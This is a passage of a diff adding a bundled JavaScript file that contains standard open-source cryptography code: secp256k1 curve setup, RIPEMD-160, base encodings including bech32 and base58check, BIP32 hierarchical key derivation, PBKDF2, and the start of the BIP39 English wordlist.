c.clearCofactor, + fromBytes: c.fromBytes, + toBytes: c.toBytes + }; + return { CURVE, curveOpts }; +} +function _ecdsa_legacy_opts_to_new(c) { + const { CURVE, curveOpts } = _weierstrass_legacy_opts_to_new(c); + const ecdsaOpts = { + hmac: c.hmac, + randomBytes: c.randomBytes, + lowS: c.lowS, + bits2int: c.bits2int, + bits2int_modN: c.bits2int_modN + }; + return { CURVE, curveOpts, hash: c.hash, ecdsaOpts }; +} +function _ecdsa_new_output_to_legacy(c, _ecdsa) { + const Point = _ecdsa.Point; + return Object.assign({}, _ecdsa, { + ProjectivePoint: Point, + CURVE: Object.assign({}, c, nLength(Point.Fn.ORDER, Point.Fn.BITS)) + }); +} +function weierstrass(c) { + const { CURVE, curveOpts, hash, ecdsaOpts } = _ecdsa_legacy_opts_to_new(c); + const Point = weierstrassN(CURVE, curveOpts); + const signs = ecdsa(Point, hash, ecdsaOpts); + return _ecdsa_new_output_to_legacy(c, signs); +} + +// node_modules/@noble/curves/esm/_shortw_utils.js +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +function createCurve(curveDef, defHash) { + const create = (hash) => weierstrass({ ...curveDef, hash }); + return { ...create(defHash), create }; +} + +// node_modules/@noble/curves/esm/secp256k1.js +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +var secp256k1_CURVE = { + p: BigInt("0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f"), + n: BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"), + h: BigInt(1), + a: BigInt(0), + b: BigInt(7), + Gx: BigInt("0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798"), + Gy: BigInt("0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8") +}; +var secp256k1_ENDO = { + beta: BigInt("0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee"), + basises: [ + [BigInt("0x3086d221a7d46bcde86c90e49284eb15"), -BigInt("0xe4437ed6010e88286f547fa90abfe4c3")], + [BigInt("0x114ca50f7a8e2f3f657c1108d9d44cfd8"), BigInt("0x3086d221a7d46bcde86c90e49284eb15")] + ] +}; +var _2n3 = /* @__PURE__ */ BigInt(2); +function sqrtMod(y) { + const P = secp256k1_CURVE.p; + const _3n3 = BigInt(3), _6n = BigInt(6), _11n = BigInt(11), _22n = BigInt(22); + const _23n = BigInt(23), _44n = BigInt(44), _88n = BigInt(88); + const b2 = y * y * y % P; + const b3 = b2 * b2 * y % P; + const b6 = pow2(b3, _3n3, P) * b3 % P; + const b9 = pow2(b6, _3n3, P) * b3 % P; + const b11 = pow2(b9, _2n3, P) * b2 % P; + const b22 = pow2(b11, _11n, P) * b11 % P; + const b44 = pow2(b22, _22n, P) * b22 % P; + const b88 = pow2(b44, _44n, P) * b44 % P; + const b176 = pow2(b88, _88n, P) * b88 % P; + const b220 = pow2(b176, _44n, P) * b44 % P; + const b223 = pow2(b220, _3n3, P) * b3 % P; + const t1 = pow2(b223, _23n, P) * b22 % P; + const t2 = pow2(t1, _6n, P) * b2 % P; + const root = pow2(t2, _2n3, P); + if (!Fpk1.eql(Fpk1.sqr(root), y)) + throw new Error("Cannot find square root"); + return root; +} +var Fpk1 = Field(secp256k1_CURVE.p, { sqrt: sqrtMod }); +var secp256k1 = createCurve({ ...secp256k1_CURVE, Fp: Fpk1, lowS: true, endo: secp256k1_ENDO }, sha256); + +// node_modules/@noble/hashes/esm/legacy.js +var Rho160 = /* @__PURE__ */ Uint8Array.from([ + 7, + 4, + 13, + 1, + 10, + 6, + 15, + 3, + 12, + 0, + 9, + 5, + 2, + 14, + 11, + 8 +]); +var Id160 = /* @__PURE__ */ (() => Uint8Array.from(new Array(16).fill(0).map((_, i) => i)))(); +var Pi160 = /* @__PURE__ */ (() => Id160.map((i) => (9 * i + 5) % 16))(); +var idxLR = /* @__PURE__ */ (() => { + const L = [Id160]; + const R = [Pi160]; + const res = [L, R]; + for (let i = 0;i < 4; i++) + for (let j of res) + j.push(j[i].map((k) => Rho160[k])); + return res; +})(); +var idxL = /* @__PURE__ */ (() => idxLR[0])(); +var idxR = /* @__PURE__ */ (() => idxLR[1])(); +var shifts160 = /* @__PURE__ */ [ + [11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8], + [12, 13, 11, 15, 6, 9, 9, 7, 12, 15, 11, 13, 7, 8, 7, 7], + [13, 15, 14, 11, 7, 7, 6, 8, 13, 14, 13, 12, 5, 5, 6, 9], + [14, 11, 12, 14, 8, 6, 5, 5, 15, 12, 15, 14, 9, 9, 8, 6], + [15, 12, 13, 13, 9, 5, 8, 6, 14, 11, 12, 11, 8, 6, 5, 5] +].map((i) => Uint8Array.from(i)); +var shiftsL160 = /* @__PURE__ */ idxL.map((idx, i) => idx.map((j) => shifts160[i][j])); +var shiftsR160 = /* @__PURE__ */ idxR.map((idx, i) => idx.map((j) => shifts160[i][j])); +var Kl160 = /* @__PURE__ */ Uint32Array.from([ + 0, + 1518500249, + 1859775393, + 2400959708, + 2840853838 +]); +var Kr160 = /* @__PURE__ */ Uint32Array.from([ + 1352829926, + 1548603684, + 1836072691, + 2053994217, + 0 +]); +function ripemd_f(group, x, y, z) { + if (group === 0) + return x ^ y ^ z; + if (group === 1) + return x & y | ~x & z; + if (group === 2) + return (x | ~y) ^ z; + if (group === 3) + return x & z | y & ~z; + return x ^ (y | ~z); +} +var BUF_160 = /* @__PURE__ */ new Uint32Array(16); + +class RIPEMD160 extends HashMD { + constructor() { + super(64, 20, 8, true); + this.h0 = 1732584193 | 0; + this.h1 = 4023233417 | 0; + this.h2 = 2562383102 | 0; + this.h3 = 271733878 | 0; + this.h4 = 3285377520 | 0; + } + get() { + const { h0, h1, h2, h3, h4 } = this; + return [h0, h1, h2, h3, h4]; + } + set(h0, h1, h2, h3, h4) { + this.h0 = h0 | 0; + this.h1 = h1 | 0; + this.h2 = h2 | 0; + this.h3 = h3 | 0; + this.h4 = h4 | 0; + } + process(view, offset) { + for (let i = 0;i < 16; i++, offset += 4) + BUF_160[i] = view.getUint32(offset, true); + let al = this.h0 | 0, ar = al, bl = this.h1 | 0, br = bl, cl = this.h2 | 0, cr = cl, dl = this.h3 | 0, dr = dl, el = this.h4 | 0, er = el; + for (let group = 0;group < 5; group++) { + const rGroup = 4 - group; + const hbl = Kl160[group], hbr = Kr160[group]; + const rl = idxL[group], rr = idxR[group]; + const sl = shiftsL160[group], sr = shiftsR160[group]; + for (let i = 0;i < 16; i++) { + const tl = rotl(al + ripemd_f(group, bl, cl, dl) + BUF_160[rl[i]] + hbl, sl[i]) + el | 0; + al = el, el = dl, dl = rotl(cl, 10) | 0, cl = bl, bl = tl; + } + for (let i = 0;i < 16; i++) { + const tr = rotl(ar + ripemd_f(rGroup, br, cr, dr) + BUF_160[rr[i]] + hbr, sr[i]) + er | 0; + ar = er, er = dr, dr = rotl(cr, 10) | 0, cr = br, br = tr; + } + } + this.set(this.h1 + cl + dr | 0, this.h2 + dl + er | 0, this.h3 + el + ar | 0, this.h4 + al + br | 0, this.h0 + bl + cr | 0); + } + roundClean() { + clean(BUF_160); + } + destroy() { + this.destroyed = true; + clean(this.buffer); + this.set(0, 0, 0, 0, 0); + } +} +var ripemd160 = /* @__PURE__ */ createHasher(() => new RIPEMD160); + +// node_modules/@scure/base/lib/esm/index.js +/*! scure-base - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +function isBytes2(a) { + return a instanceof Uint8Array || ArrayBuffer.isView(a) && a.constructor.name === "Uint8Array"; +} +function abytes2(b, ...lengths) { + if (!isBytes2(b)) + throw new Error("Uint8Array expected"); + if (lengths.length > 0 && !lengths.includes(b.length)) + throw new Error("Uint8Array expected of length " + lengths + ", got length=" + b.length); +} +function isArrayOf(isString, arr) { + if (!Array.isArray(arr)) + return false; + if (arr.length === 0) + return true; + if (isString) { + return arr.every((item) => typeof item === "string"); + } else { + return arr.every((item) => Number.isSafeInteger(item)); + } +} +function afn(input) { + if (typeof input !== "function") + throw new Error("function expected"); + return true; +} +function astr(label, input) { + if (typeof input !== "string") + throw new Error(`${label}: string expected`); + return true; +} +function anumber2(n) { + if (!Number.isSafeInteger(n)) + throw new Error(`invalid integer: ${n}`); +} +function aArr(input) { + if (!Array.isArray(input)) + throw new Error("array expected"); +} +function astrArr(label, input) { + if (!isArrayOf(true, input)) + throw new Error(`${label}: array of strings expected`); +} +function anumArr(label, input) { + if (!isArrayOf(false, input)) + throw new Error(`${label}: array of numbers expected`); +} +function chain(...args) { + const id = (a) => a; + const wrap = (a, b) => (c) => a(b(c)); + const encode = args.map((x) => x.encode).reduceRight(wrap, id); + const decode = args.map((x) => x.decode).reduce(wrap, id); + return { encode, decode }; +} +function alphabet(letters) { + const lettersA = typeof letters === "string" ? letters.split("") : letters; + const len = lettersA.length; + astrArr("alphabet", lettersA); + const indexes = new Map(lettersA.map((l, i) => [l, i])); + return { + encode: (digits) => { + aArr(digits); + return digits.map((i) => { + if (!Number.isSafeInteger(i) || i < 0 || i >= len) + throw new Error(`alphabet.encode: digit index outside alphabet "${i}". Allowed: ${letters}`); + return lettersA[i]; + }); + }, + decode: (input) => { + aArr(input); + return input.map((letter) => { + astr("alphabet.decode", letter); + const i = indexes.get(letter); + if (i === undefined) + throw new Error(`Unknown letter: "${letter}". Allowed: ${letters}`); + return i; + }); + } + }; +} +function join(separator = "") { + astr("join", separator); + return { + encode: (from) => { + astrArr("join.decode", from); + return from.join(separator); + }, + decode: (to) => { + astr("join.decode", to); + return to.split(separator); + } + }; +} +function padding(bits, chr = "=") { + anumber2(bits); + astr("padding", chr); + return { + encode(data) { + astrArr("padding.encode", data); + while (data.length * bits % 8) + data.push(chr); + return data; + }, + decode(input) { + astrArr("padding.decode", input); + let end = input.length; + if (end * bits % 8) + throw new Error("padding: invalid, string should have whole number of bytes"); + for (;end > 0 && input[end - 1] === chr; end--) { + const last = end - 1; + const byte = last * bits; + if (byte % 8 === 0) + throw new Error("padding: invalid, string has too much padding"); + } + return input.slice(0, end); + } + }; +} +function normalize(fn) { + afn(fn); + return { encode: (from) => from, decode: (to) => fn(to) }; +} +function convertRadix(data, from, to) { + if (from < 2) + throw new Error(`convertRadix: invalid from=${from}, base cannot be less than 2`); + if (to < 2) + throw new Error(`convertRadix: invalid to=${to}, base cannot be less than 2`); + aArr(data); + if (!data.length) + return []; + let pos = 0; + const res = []; + const digits = Array.from(data, (d) => { + anumber2(d); + if (d < 0 || d >= from) + throw new Error(`invalid integer: ${d}`); + return d; + }); + const dlen = digits.length; + while (true) { + let carry = 0; + let done = true; + for (let i = pos;i < dlen; i++) { + const digit = digits[i]; + const fromCarry = from * carry; + const digitBase = fromCarry + digit; + if (!Number.isSafeInteger(digitBase) || fromCarry / from !== carry || digitBase - digit !== fromCarry) { + throw new Error("convertRadix: carry overflow"); + } + const div = digitBase / to; + carry = digitBase % to; + const rounded = Math.floor(div); + digits[i] = rounded; + if (!Number.isSafeInteger(rounded) || rounded * to + carry !== digitBase) + throw new Error("convertRadix: carry overflow"); + if (!done) + continue; + else if (!rounded) + pos = i; + else + done = false; + } + res.push(carry); + if (done) + break; + } + for (let i = 0;i < data.length - 1 && data[i] === 0; i++) + res.push(0); + return res.reverse(); +} +var gcd = (a, b) => b === 0 ? a : gcd(b, a % b); +var radix2carry = (from, to) => from + (to - gcd(from, to)); +var powers = /* @__PURE__ */ (() => { + let res = []; + for (let i = 0;i < 40; i++) + res.push(2 ** i); + return res; +})(); +function convertRadix2(data, from, to, padding2) { + aArr(data); + if (from <= 0 || from > 32) + throw new Error(`convertRadix2: wrong from=${from}`); + if (to <= 0 || to > 32) + throw new Error(`convertRadix2: wrong to=${to}`); + if (radix2carry(from, to) > 32) { + throw new Error(`convertRadix2: carry overflow from=${from} to=${to} carryBits=${radix2carry(from, to)}`); + } + let carry = 0; + let pos = 0; + const max = powers[from]; + const mask = powers[to] - 1; + const res = []; + for (const n of data) { + anumber2(n); + if (n >= max) + throw new Error(`convertRadix2: invalid data word=${n} from=${from}`); + carry = carry << from | n; + if (pos + from > 32) + throw new Error(`convertRadix2: carry overflow pos=${pos} from=${from}`); + pos += from; + for (;pos >= to; pos -= to) + res.push((carry >> pos - to & mask) >>> 0); + const pow = powers[pos]; + if (pow === undefined) + throw new Error("invalid carry"); + carry &= pow - 1; + } + carry = carry << to - pos & mask; + if (!padding2 && pos >= from) + throw new Error("Excess padding"); + if (!padding2 && carry > 0) + throw new Error(`Non-zero padding: ${carry}`); + if (padding2 && pos > 0) + res.push(carry >>> 0); + return res; +} +function radix(num) { + anumber2(num); + const _256 = 2 ** 8; + return { + encode: (bytes) => { + if (!isBytes2(bytes)) + throw new Error("radix.encode input should be Uint8Array"); + return convertRadix(Array.from(bytes), _256, num); + }, + decode: (digits) => { + anumArr("radix.decode", digits); + return Uint8Array.from(convertRadix(digits, num, _256)); + } + }; +} +function radix2(bits, revPadding = false) { + anumber2(bits); + if (bits <= 0 || bits > 32) + throw new Error("radix2: bits should be in (0..32]"); + if (radix2carry(8, bits) > 32 || radix2carry(bits, 8) > 32) + throw new Error("radix2: carry overflow"); + return { + encode: (bytes) => { + if (!isBytes2(bytes)) + throw new Error("radix2.encode input should be Uint8Array"); + return convertRadix2(Array.from(bytes), 8, bits, !revPadding); + }, + decode: (digits) => { + anumArr("radix2.decode", digits); + return Uint8Array.from(convertRadix2(digits, bits, 8, revPadding)); + } + }; +} +function unsafeWrapper(fn) { + afn(fn); + return function(...args) { + try { + return fn.apply(null, args); + } catch (e) { + } + }; +} +function checksum(len, fn) { + anumber2(len); + afn(fn); + return { + encode(data) { + if (!isBytes2(data)) + throw new Error("checksum.encode: input should be Uint8Array"); + const sum = fn(data).slice(0, len); + const res = new Uint8Array(data.length + len); + res.set(data); + res.set(sum, data.length); + return res; + }, + decode(data) { + if (!isBytes2(data)) + throw new Error("checksum.decode: input should be Uint8Array"); + const payload = data.slice(0, -len); + const oldChecksum = data.slice(-len); + const newChecksum = fn(payload).slice(0, len); + for (let i = 0;i < len; i++) + if (newChecksum[i] !== oldChecksum[i]) + throw new Error("Invalid checksum"); + return payload; + } + }; +} +var base16 = chain(radix2(4), alphabet("0123456789ABCDEF"), join("")); +var base32 = chain(radix2(5), alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"), padding(5), join("")); +var base32nopad = chain(radix2(5), alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"), join("")); +var base32hex = chain(radix2(5), alphabet("0123456789ABCDEFGHIJKLMNOPQRSTUV"), padding(5), join("")); +var base32hexnopad = chain(radix2(5), alphabet("0123456789ABCDEFGHIJKLMNOPQRSTUV"), join("")); +var base32crockford = chain(radix2(5), alphabet("0123456789ABCDEFGHJKMNPQRSTVWXYZ"), join(""), normalize((s) => s.toUpperCase().replace(/O/g, "0").replace(/[IL]/g, "1"))); +var hasBase64Builtin = /* @__PURE__ */ (() => typeof Uint8Array.from([]).toBase64 === "function" && typeof Uint8Array.fromBase64 === "function")(); +var decodeBase64Builtin = (s, isUrl) => { + astr("base64", s); + const re = isUrl ? /^[A-Za-z0-9=_-]+$/ : /^[A-Za-z0-9=+/]+$/; + const alphabet2 = isUrl ? "base64url" : "base64"; + if (s.length > 0 && !re.test(s)) + throw new Error("invalid base64"); + return Uint8Array.fromBase64(s, { alphabet: alphabet2, lastChunkHandling: "strict" }); +}; +var base64 = hasBase64Builtin ? { + encode(b) { + abytes2(b); + return b.toBase64(); + }, + decode(s) { + return decodeBase64Builtin(s, false); + } +} : chain(radix2(6), alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"), padding(6), join("")); +var base64nopad = chain(radix2(6), alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"), join("")); +var base64url = hasBase64Builtin ? { + encode(b) { + abytes2(b); + return b.toBase64({ alphabet: "base64url" }); + }, + decode(s) { + return decodeBase64Builtin(s, true); + } +} : chain(radix2(6), alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"), padding(6), join("")); +var base64urlnopad = chain(radix2(6), alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"), join("")); +var genBase58 = (abc) => chain(radix(58), alphabet(abc), join("")); +var base58 = genBase58("123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"); +var base58flickr = genBase58("123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ"); +var base58xrp = genBase58("rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz"); +var createBase58check = (sha2562) => chain(checksum(4, (data) => sha2562(sha2562(data))), base58); +var BECH_ALPHABET = chain(alphabet("qpzry9x8gf2tvdw0s3jn54khce6mua7l"), join("")); +var POLYMOD_GENERATORS = [996825010, 642813549, 513874426, 1027748829, 705979059]; +function bech32Polymod(pre) { + const b = pre >> 25; + let chk = (pre & 33554431) << 5; + for (let i = 0;i < POLYMOD_GENERATORS.length; i++) { + if ((b >> i & 1) === 1) + chk ^= POLYMOD_GENERATORS[i]; + } + return chk; +} +function bechChecksum(prefix, words, encodingConst = 1) { + const len = prefix.length; + let chk = 1; + for (let i = 0;i < len; i++) { + const c = prefix.charCodeAt(i); + if (c < 33 || c > 126) + throw new Error(`Invalid prefix (${prefix})`); + chk = bech32Polymod(chk) ^ c >> 5; + } + chk = bech32Polymod(chk); + for (let i = 0;i < len; i++) + chk = bech32Polymod(chk) ^ prefix.charCodeAt(i) & 31; + for (let v of words) + chk = bech32Polymod(chk) ^ v; + for (let i = 0;i < 6; i++) + chk = bech32Polymod(chk); + chk ^= encodingConst; + return BECH_ALPHABET.encode(convertRadix2([chk % powers[30]], 30, 5, false)); +} +function genBech32(encoding) { + const ENCODING_CONST = encoding === "bech32" ? 1 : 734539939; + const _words = radix2(5); + const fromWords = _words.decode; + const toWords = _words.encode; + const fromWordsUnsafe = unsafeWrapper(fromWords); + function encode(prefix, words, limit = 90) { + astr("bech32.encode prefix", prefix); + if (isBytes2(words)) + words = Array.from(words); + anumArr("bech32.encode", words); + const plen = prefix.length; + if (plen === 0) + throw new TypeError(`Invalid prefix length ${plen}`); + const actualLength = plen + 7 + words.length; + if (limit !== false && actualLength > limit) + throw new TypeError(`Length ${actualLength} exceeds limit ${limit}`); + const lowered = prefix.toLowerCase(); + const sum = bechChecksum(lowered, words, ENCODING_CONST); + return `${lowered}1${BECH_ALPHABET.encode(words)}${sum}`; + } + function decode(str, limit = 90) { + astr("bech32.decode input", str); + const slen = str.length; + if (slen < 8 || limit !== false && slen > limit) + throw new TypeError(`invalid string length: ${slen} (${str}). Expected (8..${limit})`); + const lowered = str.toLowerCase(); + if (str !== lowered && str !== str.toUpperCase()) + throw new Error(`String must be lowercase or uppercase`); + const sepIndex = lowered.lastIndexOf("1"); + if (sepIndex === 0 || sepIndex === -1) + throw new Error(`Letter "1" must be present between prefix and data only`); + const prefix = lowered.slice(0, sepIndex); + const data = lowered.slice(sepIndex + 1); + if (data.length < 6) + throw new Error("Data must be at least 6 characters long"); + const words = BECH_ALPHABET.decode(data).slice(0, -6); + const sum = bechChecksum(prefix, words, ENCODING_CONST); + if (!data.endsWith(sum)) + throw new Error(`Invalid checksum in ${str}: expected "${sum}"`); + return { prefix, words }; + } + const decodeUnsafe = unsafeWrapper(decode); + function decodeToBytes(str) { + const { prefix, words } = decode(str, false); + return { prefix, words, bytes: fromWords(words) }; + } + function encodeFromBytes(prefix, bytes) { + return encode(prefix, toWords(bytes)); + } + return { + encode, + decode, + encodeFromBytes, + decodeToBytes, + decodeUnsafe, + fromWords, + fromWordsUnsafe, + toWords + }; +} +var bech32 = genBech32("bech32"); +var bech32m = genBech32("bech32m"); +var hasHexBuiltin2 = /* @__PURE__ */ (() => typeof Uint8Array.from([]).toHex === "function" && typeof Uint8Array.fromHex === "function")(); +var hexBuiltin = { + encode(data) { + abytes2(data); + return data.toHex(); + }, + decode(s) { + astr("hex", s); + return Uint8Array.fromHex(s); + } +}; +var hex = hasHexBuiltin2 ? hexBuiltin : chain(radix2(4), alphabet("0123456789abcdef"), join(""), normalize((s) => { + if (typeof s !== "string" || s.length % 2 !== 0) + throw new TypeError(`hex.decode: expected string, got ${typeof s} with length ${s.length}`); + return s.toLowerCase(); +})); + +// node_modules/@scure/bip32/lib/esm/index.js +/*! scure-bip32 - MIT License (c) 2022 Patricio Palladino, Paul Miller (paulmillr.com) */ +var Point = secp256k1.ProjectivePoint; +var base58check = createBase58check(sha256); +function bytesToNumber(bytes) { + abytes(bytes); + const h = bytes.length === 0 ? "0" : bytesToHex(bytes); + return BigInt("0x" + h); +} +function numberToBytes(num) { + if (typeof num !== "bigint") + throw new Error("bigint expected"); + return hexToBytes(num.toString(16).padStart(64, "0")); +} +var MASTER_SECRET = utf8ToBytes("Bitcoin seed"); +var BITCOIN_VERSIONS = { private: 76066276, public: 76067358 }; +var HARDENED_OFFSET = 2147483648; +var hash160 = (data) => ripemd160(sha256(data)); +var fromU32 = (data) => createView(data).getUint32(0, false); +var toU32 = (n) => { + if (!Number.isSafeInteger(n) || n < 0 || n > 2 ** 32 - 1) { + throw new Error("invalid number, should be from 0 to 2**32-1, got " + n); + } + const buf = new Uint8Array(4); + createView(buf).setUint32(0, n, false); + return buf; +}; + +class HDKey { + get fingerprint() { + if (!this.pubHash) { + throw new Error("No publicKey set!"); + } + return fromU32(this.pubHash); + } + get identifier() { + return this.pubHash; + } + get pubKeyHash() { + return this.pubHash; + } + get privateKey() { + return this.privKeyBytes || null; + } + get publicKey() { + return this.pubKey || null; + } + get privateExtendedKey() { + const priv = this.privateKey; + if (!priv) { + throw new Error("No private key"); + } + return base58check.encode(this.serialize(this.versions.private, concatBytes(new Uint8Array([0]), priv))); + } + get publicExtendedKey() { + if (!this.pubKey) { + throw new Error("No public key"); + } + return base58check.encode(this.serialize(this.versions.public, this.pubKey)); + } + static fromMasterSeed(seed, versions = BITCOIN_VERSIONS) { + abytes(seed); + if (8 * seed.length < 128 || 8 * seed.length > 512) { + throw new Error("HDKey: seed length must be between 128 and 512 bits; 256 bits is advised, got " + seed.length); + } + const I = hmac(sha512, MASTER_SECRET, seed); + return new HDKey({ + versions, + chainCode: I.slice(32), + privateKey: I.slice(0, 32) + }); + } + static fromExtendedKey(base58key, versions = BITCOIN_VERSIONS) { + const keyBuffer = base58check.decode(base58key); + const keyView = createView(keyBuffer); + const version = keyView.getUint32(0, false); + const opt = { + versions, + depth: keyBuffer[4], + parentFingerprint: keyView.getUint32(5, false), + index: keyView.getUint32(9, false), + chainCode: keyBuffer.slice(13, 45) + }; + const key = keyBuffer.slice(45); + const isPriv = key[0] === 0; + if (version !== versions[isPriv ? "private" : "public"]) { + throw new Error("Version mismatch"); + } + if (isPriv) { + return new HDKey({ ...opt, privateKey: key.slice(1) }); + } else { + return new HDKey({ ...opt, publicKey: key }); + } + } + static fromJSON(json) { + return HDKey.fromExtendedKey(json.xpriv); + } + constructor(opt) { + this.depth = 0; + this.index = 0; + this.chainCode = null; + this.parentFingerprint = 0; + if (!opt || typeof opt !== "object") { + throw new Error("HDKey.constructor must not be called directly"); + } + this.versions = opt.versions || BITCOIN_VERSIONS; + this.depth = opt.depth || 0; + this.chainCode = opt.chainCode || null; + this.index = opt.index || 0; + this.parentFingerprint = opt.parentFingerprint || 0; + if (!this.depth) { + if (this.parentFingerprint || this.index) { + throw new Error("HDKey: zero depth with non-zero index/parent fingerprint"); + } + } + if (opt.publicKey && opt.privateKey) { + throw new Error("HDKey: publicKey and privateKey at same time."); + } + if (opt.privateKey) { + if (!secp256k1.utils.isValidPrivateKey(opt.privateKey)) { + throw new Error("Invalid private key"); + } + this.privKey = typeof opt.privateKey === "bigint" ? opt.privateKey : bytesToNumber(opt.privateKey); + this.privKeyBytes = numberToBytes(this.privKey); + this.pubKey = secp256k1.getPublicKey(opt.privateKey, true); + } else if (opt.publicKey) { + this.pubKey = Point.fromHex(opt.publicKey).toRawBytes(true); + } else { + throw new Error("HDKey: no public or private key provided"); + } + this.pubHash = hash160(this.pubKey); + } + derive(path) { + if (!/^[mM]'?/.test(path)) { + throw new Error('Path must start with "m" or "M"'); + } + if (/^[mM]'?$/.test(path)) { + return this; + } + const parts = path.replace(/^[mM]'?\//, "").split("/"); + let child = this; + for (const c of parts) { + const m = /^(\d+)('?)$/.exec(c); + const m1 = m && m[1]; + if (!m || m.length !== 3 || typeof m1 !== "string") + throw new Error("invalid child index: " + c); + let idx = +m1; + if (!Number.isSafeInteger(idx) || idx >= HARDENED_OFFSET) { + throw new Error("Invalid index"); + } + if (m[2] === "'") { + idx += HARDENED_OFFSET; + } + child = child.deriveChild(idx); + } + return child; + } + deriveChild(index) { + if (!this.pubKey || !this.chainCode) { + throw new Error("No publicKey or chainCode set"); + } + let data = toU32(index); + if (index >= HARDENED_OFFSET) { + const priv = this.privateKey; + if (!priv) { + throw new Error("Could not derive hardened child key"); + } + data = concatBytes(new Uint8Array([0]), priv, data); + } else { + data = concatBytes(this.pubKey, data); + } + const I = hmac(sha512, this.chainCode, data); + const childTweak = bytesToNumber(I.slice(0, 32)); + const chainCode = I.slice(32); + if (!secp256k1.utils.isValidPrivateKey(childTweak)) { + throw new Error("Tweak bigger than curve order"); + } + const opt = { + versions: this.versions, + chainCode, + depth: this.depth + 1, + parentFingerprint: this.fingerprint, + index + }; + try { + if (this.privateKey) { + const added = mod(this.privKey + childTweak, secp256k1.CURVE.n); + if (!secp256k1.utils.isValidPrivateKey(added)) { + throw new Error("The tweak was out of range or the resulted private key is invalid"); + } + opt.privateKey = added; + } else { + const added = Point.fromHex(this.pubKey).add(Point.fromPrivateKey(childTweak)); + if (added.equals(Point.ZERO)) { + throw new Error("The tweak was equal to negative P, which made the result key invalid"); + } + opt.publicKey = added.toRawBytes(true); + } + return new HDKey(opt); + } catch (err) { + return this.deriveChild(index + 1); + } + } + sign(hash) { + if (!this.privateKey) { + throw new Error("No privateKey set!"); + } + abytes(hash, 32); + return secp256k1.sign(hash, this.privKey).toCompactRawBytes(); + } + verify(hash, signature) { + abytes(hash, 32); + abytes(signature, 64); + if (!this.publicKey) { + throw new Error("No publicKey set!"); + } + let sig; + try { + sig = secp256k1.Signature.fromCompact(signature); + } catch (error) { + return false; + } + return secp256k1.verify(sig, hash, this.publicKey); + } + wipePrivateData() { + this.privKey = undefined; + if (this.privKeyBytes) { + this.privKeyBytes.fill(0); + this.privKeyBytes = undefined; + } + return this; + } + toJSON() { + return { + xpriv: this.privateExtendedKey, + xpub: this.publicExtendedKey + }; + } + serialize(version, key) { + if (!this.chainCode) { + throw new Error("No chainCode set"); + } + abytes(key, 33); + return concatBytes(toU32(version), new Uint8Array([this.depth]), toU32(this.parentFingerprint), toU32(this.index), this.chainCode, key); + } +} + +// node_modules/@noble/hashes/esm/pbkdf2.js +function pbkdf2Init(hash, _password, _salt, _opts) { + ahash(hash); + const opts = checkOpts({ dkLen: 32, asyncTick: 10 }, _opts); + const { c, dkLen, asyncTick } = opts; + anumber(c); + anumber(dkLen); + anumber(asyncTick); + if (c < 1) + throw new Error("iterations (c) should be >= 1"); + const password = kdfInputToBytes(_password); + const salt = kdfInputToBytes(_salt); + const DK = new Uint8Array(dkLen); + const PRF = hmac.create(hash, password); + const PRFSalt = PRF._cloneInto().update(salt); + return { c, dkLen, asyncTick, DK, PRF, PRFSalt }; +} +function pbkdf2Output(PRF, PRFSalt, DK, prfW, u) { + PRF.destroy(); + PRFSalt.destroy(); + if (prfW) + prfW.destroy(); + clean(u); + return DK; +} +function pbkdf2(hash, password, salt, opts) { + const { c, dkLen, DK, PRF, PRFSalt } = pbkdf2Init(hash, password, salt, opts); + let prfW; + const arr = new Uint8Array(4); + const view = createView(arr); + const u = new Uint8Array(PRF.outputLen); + for (let ti = 1, pos = 0;pos < dkLen; ti++, pos += PRF.outputLen) { + const Ti = DK.subarray(pos, pos + PRF.outputLen); + view.setInt32(0, ti, false); + (prfW = PRFSalt._cloneInto(prfW)).update(arr).digestInto(u); + Ti.set(u.subarray(0, Ti.length)); + for (let ui = 1;ui < c; ui++) { + PRF._cloneInto(prfW).update(u).digestInto(u); + for (let i = 0;i < Ti.length; i++) + Ti[i] ^= u[i]; + } + } + return pbkdf2Output(PRF, PRFSalt, DK, prfW, u); +} + +// node_modules/@scure/bip39/esm/index.js +/*! scure-bip39 - MIT License (c) 2022 Patricio Palladino, Paul Miller (paulmillr.com) */ +function nfkd(str) { + if (typeof str !== "string") + throw new TypeError("invalid mnemonic type: " + typeof str); + return str.normalize("NFKD"); +} +function normalize2(str) { + const norm = nfkd(str); + const words = norm.split(" "); + if (![12, 15, 18, 21, 24].includes(words.length)) + throw new Error("Invalid mnemonic"); + return { nfkd: norm, words }; +} +var psalt = (passphrase) => nfkd("mnemonic" + passphrase); +function mnemonicToSeedSync(mnemonic, passphrase = "") { + return pbkdf2(sha512, normalize2(mnemonic).nfkd, psalt(passphrase), { c: 2048, dkLen: 64 }); +} + +// node_modules/@scure/bip39/esm/wordlists/english.js +var wordlist = `abandon +ability +able +about +above +absent +absorb +abstract +absurd +abuse +access +accident +account +accuse +achieve +acid +acoustic +acquire +across +act +action +actor +actress +actual +adapt +add +addict +address +adjust +admit +adult +advance +advice +aerobic +affair +afford +afraid +again +age +agent +agree +ahead +aim +air +airport +aisle +alarm +album +alcohol +alert +alien +all +alley +allow +almost +alone +alpha +already +also +alter +always +amateur +amazing +among 